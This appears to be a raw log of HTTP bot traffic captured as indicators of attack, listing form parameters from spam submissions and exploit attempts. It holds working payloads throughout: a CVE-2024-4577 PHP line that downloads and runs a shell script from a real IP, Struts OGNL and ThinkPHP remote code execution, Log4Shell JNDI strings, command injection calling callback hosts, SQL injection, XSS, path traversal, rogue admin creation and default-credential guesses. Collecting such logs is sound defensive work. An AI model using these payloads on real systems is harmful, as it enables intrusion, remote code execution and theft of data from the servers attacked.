HTTP Bots Indicators of Attacks

<?php_shell_exec("X => String: \$(curl http://194.59.30.110/sh || wget -O- http://194.59.30.110/sh); echo \"\$X\" | sh -s cve_2024_4577"); echo(md5("Hello CVE-2024-4577")); ?>

<?php_shell_exec("X => String: \$(curl http://194.59.30.110/sh || wget -O- http://194.59.30.110/sh); echo \"\$X\" | sh -s cve_2024_4577"); echo(md5("Hello CVE-2024-4577")); ?>

contact_number => String: IvsONEZcq

email => String: vasquezfergys4607@gmail.com

name => String: NqPLkfdD

contact_number => String: TvOXtJvmvn

email => String: y477qlt5gkrq@yahoo.com

name => String: NkieThbijRD

contact_number => String: ITYdLrBjPJ

email => String: deppxbsmkpeh@yahoo.com

name => String: bkrpdpPM

contact_number => String: qRkcAEhEjwKMJ

email => String: kimrydolfc@gmail.com

name => String: zNzofdjqpYK

contact_number => String: PPjmXgfAseXEx

email => String: hydddyerw1992@gmail.com

name => String: oEUiFCzVi

contact_number => String: xCoFfUTpXD

email => String: strusjex@yahoo.com

name => String: ORMtibpP

contact_number => String: QChTJnnD

email => String: mashate_said@yahoo.com

name => String: HdoUSdGB

contact_number => String: BvUoTGsw

email => String: filiksrojas@gmail.com

name => String: GEqdwEYZf

contact_number => String: nmXtLPgroBos

email => String: qnbz5mtfwfp@yahoo.com

name => String: sjFiuIiZSHdw

contact_number => String: YOJKJuJDbKxNoS

email => String: blakesivardzj2005@gmail.com

name => String: piuOBrySTUsDf

contact_number => String: IdBGTKXg

email => String: allenbryksfv39@gmail.com

name => String: kGyzIuhJHPvgQzA

contact_number => String: hdvIPIafDoCBix

email => String: terrayahaneypa221@gmail.com

name => String: wtltkDAbMbIHmpo

contact_number => String: pKLmNlRtSbdd

email => String: vqespdghsuvhhjon@yahoo.com

name => String: XMzGONwPToAV

contact_number => String: sMzqLewkIdBY

email => String: hdnnf2yjl@yahoo.com

name => String: pIgqheyJjLvpx

contact_number => String: julOQmqxuIWM

email => String: bfrostkk52@gmail.com

name => String: rMNXtNgIN

contact_number => String: TllgdKJuHGxPm

email => String: bdjenniferb@gmail.com

name => String: GTpVYkMMChuGm

contact_number => String: GtCICcuomKZX

email => String: k9vkwaaxv7@yahoo.com

name => String: heiYYjEyBtZXwW

contact_number => String: opRfTzyeczW

email => String: ibasdeeeiulf@yahoo.com

name => String: RxyxEkFhGgiMzt

contact_number => String: woYHYHrMHEXJp

email => String: devismka34@gmail.com

name => String: mwMdadGOLZnBsDw

contact_number => String: fOUOffGNDCN

email => String: ir4xhetrcelehfhp@yahoo.com

name => String: JKQFHxYWSVTt

contact_number => String: vBWfugwrbeVF

email => String: ddkninixdjlmx@yahoo.com

name => String: awkTYHGwG

contact_number => String: PctgDxfpqN

email => String: otdveokrlxolunoji@yahoo.com

name => String: NcylKdTzjsr

contact_number => String: rvoCmgDWi

email => String: zigmyndmaye@gmail.com

name => String: HOXFmqATs

contact_number => String: APXMfmPtLGBNE

email => String: terbodretza@yahoo.com

name => String: hrdvWpzVWFMi

contact_number => String: NOuSiUCNY

email => String: um5gfdkydp@yahoo.com

name => String: svAwpbDuAC

contact_number => String: EiFQDCzzWlvCmIm

email => String: urhnupstav@yahoo.com

name => String: bMWocqBuh

contact_number => String: rAXwdflgFk

email => String: feitwfh3@gmail.com

name => String: tAYZbjSvq

contact_number => String: DgzqsvuFPps

email => String: lessiharmui76@gmail.com

name => String: hRIKuzUPDL

contact_number => String: XeefLgCeSjZIiZ

email => String: chaneyedyn49@gmail.com

name => String: hXNXEDpO

contact_number => String: BUbgromR

email => String: lunar79kaleidoscopeu@gmail.com

name => String: uzjYozClUgWETnh

contact_number => String: KLlkxxqGzOILp

email => String: fc0oooct3myel@yahoo.com

name => String: iJIVPdhOZ

contact_number => String: VoZNZTFz

email => String: shameklisameyaw@yahoo.com

name => String: jKFGRHuMQq

contact_number => String: TJaYIaQCLeGFe

email => String: illuminateujade@gmail.com

name => String: yCGWOEfPhViKaE

contact_number => String: WNcnkgddWwuyJbK

email => String: navayoto78@gmail.com

name => String: evkmuowOpw

contact_number => String: szVWloHYrzN

email => String: tnamtwdsmvsgggq@yahoo.com

name => String: bDolifRRlhUCYH

0x => Array: [
    "androxgh0st"
]

contact_number => String: eMEPEIaxufte

email => String: szepeinow@yahoo.com

name => String: tktTyXntMwsFB

0x => Array: [
    "0x0day"
]

contact_number => String: hrhhimaIlRP

email => String: gwf48o0b1fw@yahoo.com

name => String: jjKqbBZl

contact_number => String: exsXOmVvslOyKHg

email => String: buvovovuhic030@gmail.com

name => String: vMKgbVEeqAJU

{"id":_1,_"method":_"getwork",_"params":_ => Array: [
    ""
]

{"id":_1,_"method":_"eth_getWork",_"params":_ => Array: [
    ""
]

debug => String: true

contact_number => String: zQjIijKfAkn

email => String: cklihlbjrkl@yahoo.com

name => String: FFxUyIhMYV

contact_number => String: BHQZVeDs

email => String: jjvagyvdwf4hl@yahoo.com

name => String: cWgksgydZpkV

contact_number => String: ktbYaTcFYFO

email => String: iredetiwaka108@gmail.com

name => String: HIruMwrS

contact_number => String: jRojuRVuvGILHZf

email => String: hwpckdkcl@yahoo.com

name => String: yIppgpenlZk

contact_number => String: YCYdIreVBZx

email => String: zamoytaschaible@yahoo.com

name => String: HjjLezcZUgUP

contact_number => String: IODVpQRiCKT

email => String: uwelebevixa32@gmail.com

name => String: rdZhzTMJB

contact_number => String: KGmPQqqRnFVh

email => String: miqivafoyo216@gmail.com

name => String: rTVGhREZjQc

contact_number => String: fSRXhcsySDpYr

email => String: ehipijido02@gmail.com

name => String: pAHaSEyTgTo

contact_number => String: DcIUMuPepsuNa

email => String: jiridepugoq811@gmail.com

name => String: vMabvEEsGAXey

contact_number => String: DjBKHQLKBKjUR

email => String: ajifutalo059@gmail.com

name => String: PRwuSVTt

contact_number => String: UDqwQrLbVzEw

email => String: hulbbuaxow@yahoo.com

name => String: lUxynGicdKWF

{"id":_1,_"method":_"getwork",_"params":_ => Array: [
    ""
]

{"id":_1,_"method":_"eth_getWork",_"params":_ => Array: [
    ""
]

contact_number => String: GTMKkCfVqlwWgCQ

email => String: wvdgslhka1nfw9xw@yahoo.com

name => String: WCELTZnVbnvAT

contact_number => String: OBVkmxOWOfeqE

email => String: tybpppjyvackdph@yahoo.com

name => String: aUeEpmznSIwBa

contact_number => String: AZNwImiCHhFCwqR

email => String: niqeduzig70@gmail.com

name => String: EvUeGxxkDDa

<?php
phpinfo();
?>
 => String: 

<?php_echo_md5("CVE_2024_4577_TEST");_?>
 => String: 

<?php
phpinfo();
?>
 => String: 

contact_number => String: xdiQmTmYt

email => String: metonkalilikane@yahoo.com

name => String: ujneNFNZrkwkprt

contact_number => String: FzIDpeQWpel

email => String: machizhokensmit@yahoo.com

name => String: IrlCZJJSNla

contact_number => String: fbHiFXwLh

email => String: expanseo31quartz46oe@gmail.com

name => String: uPeTlqBEOWOhl

contact_number => String: nvdhZSaSOXG

email => String: jubileeoybrink17@gmail.com

name => String: bmwGDDmzVYGkktd

contact_number => String: GzXhyQpRfVsPPF

email => String: khbgedpfigrp0h@yahoo.com

name => String: tdejAhkWHNTC

contact_number => String: zlCJpQHcHf

email => String: zvolenskystebaboatwriht@yahoo.com

name => String: xeMslDPmIKYA

contact_number => String: ZNnNhSMcFQZWuC

email => String: rcwfpnlposgm@yahoo.com

name => String: gDZMQeUckouH

0x => Array: [
    "ridho"
]

contact_number => String: GdzXMriXTrYmXJ

email => String: colmaonwqvraf@yahoo.com

name => String: lsEDpERSUgCU

contact_number => String: FPnPrOURcMCA

email => String: Angie2Sherman8093@gmail.com

name => String: MrlrrwjndPr

0x => Array: [
    "nopebee7"
]

0x => Array: [
    "nopebee7"
]

0x => Array: [
    "nopebee7"
]

0x => Array: [
    "nopebee7"
]

0x => Array: [
    "nopebee7"
]

0x => Array: [
    "nopebee7"
]

auto_prepend_file => String: "/etc/passwd"

1
Z => String: 

0

x => String: 

1
Z => String: 

class_module_classLoader_URLs => Array: [
    "0"
]

0

x => String: 

0

x => String: 

1
Z => String: 

0

x => String: 

<?php_echo_md5("CVE-2012-1823");?> => String: 

username => String: 1')and updatexml(1,concat(0x7e,md5(999999999),0x7e),1)-- 

password => String: 

field_id => String: 3

form_id => String: 1

gform_unique_id => String: ../../../

name => String: cbabbbb.phtml

name => String: 2sPoSCfHjG9bzM9eGZmZB5ghAa2.php\x0A

username => String: admin

password => String: admin

_submit_check => String: 1

jlbqg<script>alert("2sPoS9JOk57njLM7FwYzPcjNWoJ")</script>b7g0x => String: 1

id => String: -1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5(2014612173),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 

popmake_action => String: popup_sysinfo

popmake-sysinfo => String: CVE-2019-17574

option => String: com_gmapfp

no_html => String: no_html

option => String: com_gmapfp

no_html => String: no_html

_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJ7e3VzZXJuYW1lfX0ifX0 => String: 

USERNAME => String: ')or`1`=`1`;-- -

PASSWORD => String: A

language => String: en

log => String: 

ajax => String: WLANScanSSID

iehack => String: 

Scan => String: Scan

netnumber => String: 1

2 => String: link

3 => String: 3

ssid => String: "'; curl http://cuelsu6lq8v9vjic1d2gi6t3nahrdz5xd.oast.me -H 'User-Agent: rHPUrr' #

ajax => String: WLANScanSSID

iehack => String: 

Scan => String: Scan

netnumber => String: 1

2 => String: link

3 => String: 3

ssid => String: "'; curl http://cuelsu6lq8v9vjic1d2ggu8hhjeri3r6e.oast.me -H 'User-Agent: rHPUrr'

auth => Array: {
    "driver": "elastic",
    "server": "example.org",
    "username": "1vmylpjg",
    "password": "h381vhwh",
    "db": "tk9v8cff"
}

SPOOLDIR => String: test".system(id)."

recheck => String: Recheck

id => String: %{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}

/?Command => String: NOOP

USERNAME => String: student

PASSWORD => String: student@123

language => String: en

log => String: 

html_element_selection => String: </script><img src onerror=alert(document.domain)>

nx_id => String: sleep(6) -- x

class_module_classLoader_resources_context_configFile => String: http://cuelsu6lq8v9vjic1d2g16tcrfyfihkch.oast.me

class_module_classLoader_resources_context_configFile_content_aaa => String: xxx

owa_user_id => String: admin

owa_password => String: wrong password xyz

owa_go => String: 

owa_action => String: base.login

owa_submit_btn => String: Login

class_module_classLoader_resources_context_configFile => String: https://cuelsu6lq8v9vjic1d2g6earu6dk8hoiz.oast.me

class_module_classLoader_resources_context_configFile_content_aaa => String: xxx

owa_user_id => String: admin

owa_password => String: R63KlDnu@123!

owa_go => String: 

owa_action => String: base.login

owa_submit_btn => String: Login

args_reason => String: filetypewarn

url => String: 2sPoS6I0bZ3NI3JOd84StAGIDlp

filetype => String: 2sPoS6I0bZ3NI3JOd84StAGIDlp

user => String: 2sPoS6I0bZ3NI3JOd84StAGIDlp

user_encoded => String: JztjdXJsIGh0dHA6Ly9jdWVsc3U2bHE4djl2amljMWQyZzkxcGdyczQ5aWZjeXkub2FzdC5tZSAj

option => String: moopenid

email => String: uzmpvjPBmwEO3tFXq0vlJg==

appName => String: rlHeqZw2vrPzOiWWfCParA==

timezone => String: `nslookup cuelsu6lq8v9vjic1d2g1o1igba7xgkja.oast.me`

rest_route => String: /wp/v2/users

username => String: xWEeRA

email => String: 2sPoUFu2gGY9U2LxzODbXF976fY@G5SdP.com

password => String: 1qzi10Ut

roles => String: administrator

auto_prepend_file => String: "/etc/passwd"

SubmitCreate => String: 1

ajax => String: true

back => String: my-account

controller => String: authentication

email => String: 2sPoU1VvDkwSCbU3Kt2Adw1Le7O@w10ca.com

email_create => String: 2sPoU1VvDkwSCbU3Kt2Adw1Le7O@w10ca.com" onmouseover=alert(document.domain) y=

token => String: 2sPoU1VvDkwSCbU3Kt2Adw1Le7O

controller => String: change-currency9405'-alert(document.domain)-'

id_currency => String: 

action => String: conditions/render

test => Array: {
    "userCondition": "craft\\elements\\conditions\\users\\UserCondition"
}

config => String: {"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream",    "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}

date => String: 2024-11-06%' UNION ALL SELECT 11,CHAR(113)||CHAR(75,101,86,69,115,83,113,89,100,122,121,102,83,83,113,86,84,112,100,103,69,75,80,117,88,109,83,105,89,116,110,120,76,84,73,109,115,100,83,107)||CHAR(113,118,98,98,113),11-- wPIB

auth => Array: {
    "driver": "server",
    "server": "",
    "username": "root",
    "password": "toor",
    "db": ""
}

auth => Array: {
    "driver": "server",
    "server": "",
    "username": "root",
    "password": "123",
    "db": ""
}

auth => Array: {
    "driver": "server",
    "server": "",
    "username": "root",
    "password": "root",
    "db": ""
}

auth => Array: {
    "driver": "server",
    "server": "",
    "username": "root",
    "password": "123456",
    "db": ""
}

auth => Array: {
    "driver": "server",
    "server": "",
    "username": "root",
    "password": "123456789",
    "db": ""
}

data => String: AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

action => String: login

username => String: admin

password => String: admin

usernameId => String: admin

passwordId => String: admin

wicket:bookmarkablePage => String: :com.gitblit.wicket.pages.MyDashboardPage

id1_hf_0 => String: 

username => String: admin

password => String: admin

txtUserId => String: user

txtPassword => String: etl3100rt1234

btnLogin => String: Login

username => String: admin

password => String: admin

username => String: cats@rootadmin

password => String: cats

username => String: john@mycompany.net

password => String: password

username => String: username

password => String: john99

name => String: admin

password => String: zxsoft1234!@#$

checkcode => String: ptbh

doLoginSubmit => String: 1

more => String: 0

host => String: 0

username => String: admin

password => String: admin

db => String: 

lang => String: en_us

expire => String: 3

page => String: login_change

oper => String: 0

username => String: admin

password => String: conel

submit => String: Login

cmd => String: login

user => String: admin

passwd => String: 21232f297a57a5a743894a0e4a801fc3

name => String: Admin

password => String: zabbix

autologin => String: 1

enter => String: Sign in

fm_usr => String: admin

fm_pwd => String: admin@123

token => String: {{token}}

_ => String: <script>alert(1)</script>

username => String: ${jndi:ldap://${:-361}${:-713}.${hostName}.username.cuelsu6lq8v9vjic1d2gd37t7aetcgp7y.oast.me/test}

password => String: 

getpwd => String: WorldFilledWithLove

station_id => String: 1 AND (SELECT 2469 FROM(SELECT COUNT(*),CONCAT(0x7162716b71,md5(999999999),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

username => String: admin' or '1'='1'#

password => String: P3zDS

login => String: 

id => String: #

nouser => String: 0

moderator => String: 0

zero => String: <img src=x onerror=alert(document.domain)>

stype => String: 0

range => String: 0

showjob => String: 0

SEARCH => String: <script>alert(document.domain)</script>

COMPANY => String: 

CATEGORY => String: 

submit => String: Submit

user => String: ' or 1=1 limit 1 -- -+

pass => String: ' or 1=1 limit 1 -- -+

Login => String: Login

page => String: index');${system('echo lotuscms_rce | md5sum')};#

more => String: 0

host => String: 0

username => String: "><script>alert(document.domain)</script>

password => String: 

db => String: 

lang => String: en_us

expire => String: 3

Command => String: Diagnostic

traceMode => String: trace

reportIpOnly => String: 0

pingPktSize => String: 56

pingTimeout => String: 30

pingCount => String: 4

ipAddr => String: 

maxTTLCnt => String: 30

queriesCnt => String: ;cat /etc/passwd

reportIpOnlyCheckbox => String: on

btnApply => String: Apply

T => String: 1631653402928

username => String: test

password => String: '+joxy--+z

username => String: '+joxvy--+z

password => String: ffesdf

bf_titre => String: blog

bf_text => String: "><img src=x onerror=console.log(123);>

bf_description => String: abcd

antispam => String: 1

id_typeannonce => String: 2

MAX_FILE_SIZE => String: 10000000

submit_post => String: obj_app_upfile

__hash__ => String: 0b9d6b1ab7479ab69d9f71b05e0e9445

_method => String: __construct

filter => Array: [
    "phpinfo"
]

method => String: get

server => Array: {
    "REQUEST_METHOD": "1"
}

s => String: echo thinkphp | rev

_method => String: __construct

method => String: 

filter => Array: [
    "system"
]

contact_number => String: RlCeppvi

email => String: duskio30echoue@gmail.com

name => String: xxSlhPaFe

contact_number => String: AVPMepvWBphjl

email => String: eaoijade45@gmail.com

name => String: IPRaslFORScj

0x => Array: [
    "0x0day"
]